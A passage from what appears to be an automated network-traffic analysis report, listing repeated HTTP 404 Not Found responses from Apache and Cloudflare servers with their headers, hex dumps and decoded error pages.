65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, no-cache, no-store, must-revalidate, max-age=0Content-Length: 1251Content-Type: text/htmlDate: Wed, 20 Nov 2024 08:23:48 GMTPragma: no-cacheConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:08 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:10 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:16 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vytrQtgBdKwlAlT9EYzT6Cw0%2Bc%2Br1ZLd27pvzb2SIoHrqxxbiEO3QCFY%2B%2F7iaBU1AvcHHEVQG0JX5Sj2G9vAXeT%2B9QqALCXjCErxAhthD%2FAtUv7qKLrqAhCoiZj1hKVEP%2BXtC9RoPMnfLEM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570b0f6d3d0c94-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1451&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=771&delivery_rate=0&cwnd=144&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jK6GRdkqr0V%2FcubRNuuDf7if%2BJagemLfpk3Qgir8VQFqkKxNWsRpTkr2sVxR0BKNkIvwM6iXmkHDZzjG3b2zNx6AZTjCDN%2FqEnKG6VD2q0FjuHfJOqnR4R%2BH2NwreTuYE7iXNUSPQV%2BfxE4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570b1f2af441c3-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2051&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=73&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hJxT0vs2sBoFq%2F3eft%2B6AfUPnysfAHJBCvGAXR80Koy0%2FbrZY2434rmA6GFJH8WqJtN6e0WLb3X77yochaZp35cAK3bRae%2BiD9qgDPT0O0bVo1%2BAyiS%2F6MHwQbmTmFv6m5vgjmGzxp8KcMw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570b2f39057c82-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1787&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1808&delivery_rate=0&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IYIazJ6H8qLVrGgl05NVc8nJBB6mtPopQ03p%2FT4WiLATGV9QSZHnsehaMr7VOY2Z2HjM8TrPtHwV%2FXP3s4RW1I%2FyIkJuJlAVLl3LNlGUf5uByvMkC8y4tVRUWI235p7r3x%2FzK3b8AzjoKyo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570b3f3ba8729f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1805&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=501&delivery_rate=0&cwnd=157&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:49 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:51 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:54 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:24:56 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 08:25:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 08:25:02 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=20QctgtnUAu12sMW441BhxUscYiFWId6jrw%2F66N3kmYCsDXASlFClJyBMlF7pf0I%2FTj3Bn%2FK%2FnoDT6QXP%2B8siTxSUIfJF4n5gLj9rzFjKD%2FHzzT9RbzkXaPP6bTu8JoBh8eZ9raDSg8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e570c0ec82e42bd-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: 